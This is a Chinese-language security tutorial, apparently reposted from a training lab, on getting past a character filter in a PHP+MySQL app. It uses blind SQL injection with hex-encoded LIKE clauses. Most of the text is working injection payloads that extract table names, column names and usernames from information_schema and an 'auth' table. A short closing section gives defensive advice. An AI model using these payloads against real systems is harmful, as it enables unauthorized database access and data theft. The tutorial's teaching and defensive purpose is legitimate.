常规特殊字符被过滤的一种绕过技巧

以下文章来源于信安之路 ,作者Mannu Linux

今天来分享一个绕过过滤比如 ' " ( ) % 等字符的场景,测试环境为 PHP+Mysql

假设场景

php 代码通过 HTTP GET 参数 param1 接收用户输入的内容,然后经过自定义的过滤函数 input-filter 过滤可能导致 SQL 注入的特殊字符。

在 SQL 查询中,用户数据($user_input)作为列名插入到查询语句中,比如:

$query = mysqli_query($connection,"SELECT $user_input,time FROM stats WHERE depth = '$depth' ORDER BY times ASC");

应用程序代码执行 SQL 语句后,不会在页面上输出任何内容,那么就无法使用联合查询的技术来获取数据,而代码中也未使用 mysqli_error() 函数来打印错误信息,那么也无法使用报错注入的方式来回显数据。

唯一可以利用的技术就只有盲注了,而当前环境的代码中对常见的特殊字符进行了过滤,过滤列表如下:

" < > = ' ( ) &  @ % #  ;

当我们使用机遇布尔盲注的有效载荷时,比如:

from dual where true and 1< ascii ( substring ( database (),1,1 ) )

经过函数过滤后,变成了:

from dual where true and 1  ascii substring database ,1,1

<、(、) 被过滤了

假如我们使用 URL 编码特殊字符,但是,URL 编码中都包含特殊字符 %,也是被过滤了的,比如:

from dual where true and 1 %3C ascii %28 substring %28 database %28 %29 %2C 1 %2C 1 %29%29

过滤后变成了:

from dual where true and 1 3C ascii 28 substring 28 database 28 29 2C 1 2C 1 2929

尝试绕过

基础

在这种情况下,我们利用漏洞的方式是盲注,为了避免过滤特殊字符,结合 where 条件,使用带有十六进制表示的 like子句。

like 子句不仅接受单引号中的输入内容,还支持十六进制的内容:

Text         Hex encoded value
%user%         257573657225

比如:

select column_name from table_name where value_in_column like '%user%'

使用十六进制编码的语句:

 select column_name from table_name where value_in_column like 0x257573657225

测试

提取表名

假如我们有个表名为 auth,使用 like 子句来查找该表名的第一个字符 a 的有效载荷:

select table_name from information_schema.tables where table_name like 'a%' limit 0,1

使用十六进制编码的 payload:

select table_name from information_schema.tables where table_name like 0x6125 limit 0,1

在上面的案例中,用户输入的 payload 为:

table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- -

后端执行的完整 SQL 语句为:

select table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- - ,time FROM stats WHERE AND depth = '$depth' ORDER BY times ASC

提取列名

假设表 auth 中有一个列名为 username,通常情况下的查询语句为:

select column_name from information_schema.columns where table_name like 'auth' and column_name like 'u%' limit 0,1

采用十六进制编码后的语句为:

select column_name from information_schema.columns where table_name like 0x61757468 and column_name like 0x7525 limit 0,1

提取数据

到目前来说已知表名 auth,列名 username,接下来利用 like 查询首字母为 a 的数据:

select username from auth where username like 'a%' limit 0,1

同样使用十六进制编码:

select username from auth where username like 0x6125 limit 0,1

总结

虽然常规特殊字符被过滤了,利用起来比较复杂,但还是有一条路可以走,对于这部分绕过方式的防御,可以在过滤的关键词中再增加一些,比如 select、like 等查询关键词,还有常见的注释符,比如 -、#、/* 等。

靶场实操,戳“阅读原文“

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/193764.html

Tags:
评论  (0)
快来写下你的想法吧!

合天网安实验室

文章数:342 积分: 877

www.hetianlab.com,网络安全靶场练习平台,涉及CTF赛前指导、职业技能训练、网安专项技能提升等。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号